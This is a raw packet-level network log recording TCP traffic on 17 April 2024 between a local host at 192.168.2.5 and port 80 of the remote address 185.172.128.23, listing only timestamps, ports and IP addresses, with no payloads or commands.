Apr 17, 2024 09:17:13.059247017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.059264898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.059294939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.059843063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.059884071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.059900045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.059936047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.060714960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.060754061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.060770988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.060792923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.060801029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.060832977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.060846090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.060885906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.060894012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.060950041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.060991049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061115026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061161041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061198950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061208963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061238050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061245918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061278105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061290979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061316013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061322927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061353922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061362982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061393023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061429977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061444998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061467886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.061481953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.061518908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.062490940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.062544107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.079689026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.079755068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.107381105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.107465029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.125039101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.125098944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.125102997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.125140905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.125149012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.125183105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.125230074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126168013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126233101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126238108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126276016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126285076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126317024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126326084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126354933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126358986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126393080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126403093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126431942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126439095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126470089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126477003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126508951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126514912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126545906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126553059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126584053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126614094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126621008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126627922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126739979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126776934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126789093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126821041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126851082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126902103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.126925945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.126969099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127005100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127044916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127063990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127083063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127087116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127120972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127126932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127156973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127175093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127247095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127266884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127290964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127295017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127330065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127367973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127374887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127403975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127420902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127443075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127480030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127492905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127516985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127556086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127564907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127594948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127600908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127633095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127640963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127671957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127680063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127710104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127722979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127747059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127783060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127794981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127821922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127829075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127861977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127866983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127901077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127917051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127938986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127948046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.127976894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.127985001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128015995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128024101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128053904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128070116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128093004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128106117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128148079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128190994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128227949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128266096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128276110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128304958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128314972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128343105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128351927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128381968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128390074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128422022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.128428936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.128467083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.136989117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.137047052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.145441055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.145489931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.145509005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.145540953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184247017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184310913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184328079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184350967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184357882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184389114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184397936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184429884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184437990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184469938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184475899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184509993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184515953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184545994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184555054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184583902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184592009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184623003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184629917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184662104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.184668064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.184705973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.186475992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.186537027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.186748028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.186804056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.186805964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.186842918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.186849117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.186882019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.186897039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.186934948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.189903975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.189960957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.192694902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.192733049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.192759037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.192775011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.192889929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.192974091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193012953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193051100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193063974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193064928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193064928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193113089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193114996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193154097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193170071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193192005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193209887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193274021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193279028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193317890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193324089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193408966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193461895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193466902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193510056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193521023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193571091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193582058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193639040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193675041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193686008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193711996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193722963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193749905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193761110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193799019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193810940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193849087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193859100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193896055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193912983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.193957090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.193978071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194031954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194040060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194071054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194078922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194111109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194118977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194150925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194159985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194190025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194200039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194227934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194236040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194263935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194273949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194303036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194344044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194355011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194381952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194390059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194420099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194430113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194461107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194477081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194514036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194519043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194557905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194571018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194596052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194602966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194643974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194658041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194695950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194732904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194745064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194771051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.194781065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.194818020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195194960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195233107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195245028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195271015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195282936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195322037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195413113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195450068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195487022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195497036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195524931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195533991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195561886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195569038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195600033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195606947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195640087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195647955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195677996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195684910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195715904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195723057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195755005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195760965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195795059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195800066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195839882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.195853949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.195899963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196041107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196078062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196124077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196137905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196175098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196187973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196212053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196222067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196249962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196258068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196289062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196305990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196327925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196329117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196367979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196415901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196646929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196685076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.196722984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.196743965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.221752882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.221823931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232269049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232333899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232367992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232409954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232448101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232459068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232486010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232491970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232523918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232530117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232563972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232570887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232603073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232640028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.232650042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.232685089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.235569000 CEST	80	49704	185.172.128.23	192.168.2.5
